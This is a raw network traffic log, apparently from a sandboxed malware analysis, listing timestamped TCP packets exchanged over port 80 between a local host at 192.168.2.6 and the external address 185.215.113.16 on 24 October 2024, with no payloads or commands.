Oct 24, 2024 09:08:13.518038988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518121004 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518124104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518158913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518194914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518196106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518215895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518251896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518256903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518292904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518316031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518328905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518353939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518366098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518390894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518405914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518429041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518435001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518469095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518501997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518702030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518738031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518760920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518794060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518799067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518830061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518848896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518867016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518888950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518923044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.518924952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.518982887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.519062996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.519146919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.519150972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.519181013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.519201994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.519237041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.557792902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.557845116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.557883024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.557885885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.557913065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.557920933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.557941914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.557991982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600555897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600645065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600686073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600694895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600723028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600727081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600745916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600764036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600785017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600799084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600824118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600835085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600860119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600871086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600883007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600907087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600924969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.600945950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.600961924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.601001024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636461973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636583090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636620998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636635065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636660099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636667967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636719942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636728048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636728048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636771917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636776924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636811018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636830091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636851072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636874914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636888981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636898041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636925936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636960983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.636966944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.636996984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637006044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637006044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637036085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637057066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637070894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637094021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637108088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637113094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637144089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637164116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637197971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637203932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637258053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637376070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637429953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637465954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637482882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637501001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637538910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637551069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637574911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637588024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637614965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637623072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637645960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637684107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637684107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.637922049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637958050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.637995005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.638008118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638008118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638030052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.638041019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638084888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.638086081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638124943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.638139963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638161898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.638163090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638206005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638252974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.638288021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.638300896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638325930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.638330936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.638372898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.675496101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.675542116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.675582886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.675620079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.675654888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.675656080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.675695896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.675817013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.718461990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718513966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718550920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718588114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718616009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.718631983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718645096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.718667984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718674898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.718705893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718708992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.718744993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.718744993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718781948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.718787909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.718826056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752314091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752388000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752398014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752432108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752435923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752470016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752477884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752510071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752516031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752547026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752554893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752650023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752654076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752688885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752700090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752743959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752747059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752779007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752801895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752823114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752829075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752861023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752870083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752895117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752912045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752933979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752934933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.752970934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.752979040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753022909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753029108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753072023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753082991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753122091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753137112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753158092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753168106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753199100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753228903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753237009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753273010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753288031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753304005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753310919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753321886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753349066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753353119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753386021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753398895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753432989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753443003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753479958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753498077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753516912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753523111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753561020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753704071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753758907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753762960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753799915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753814936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753855944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.753928900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753964901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.753982067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.754002094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.754009962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.754038095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.754050016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.754074097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.754085064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.754118919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.793509007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.793586969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.793595076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.793626070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.793631077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.793663025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.793668985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.793678045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.793701887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.793703079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.793749094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.836719990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.836783886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.836802959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.836819887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.836857080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.836874962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.836874962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.836894035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.836903095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.836931944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.836945057 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.836971045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.837002993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.837027073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.837044954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.837096930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869395018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869452000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869483948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869517088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869517088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869538069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869553089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869575977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869601011 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869611979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869627953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869648933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869656086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869685888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869702101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869822979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869849920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869945049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.869965076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.869997025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870042086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870053053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870089054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870112896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870126009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870137930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870158911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870181084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870234013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870286942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870292902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870328903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870364904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870402098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870405912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870405912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870438099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870439053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870450974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870488882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870685101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870738029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870752096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870774031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870784998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870810032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870822906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870861053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.870865107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.870922089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871018887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871072054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871078014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871125937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871126890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871164083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871182919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871217966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871222019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871258020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871269941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871294975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871332884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871340990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871351957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871388912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871402979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871426105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871459007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871490002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871793032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871826887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871851921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871864080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:13.871881962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:13.871907949 CEST	49997	80	192.168.2.6	185.215.113.16
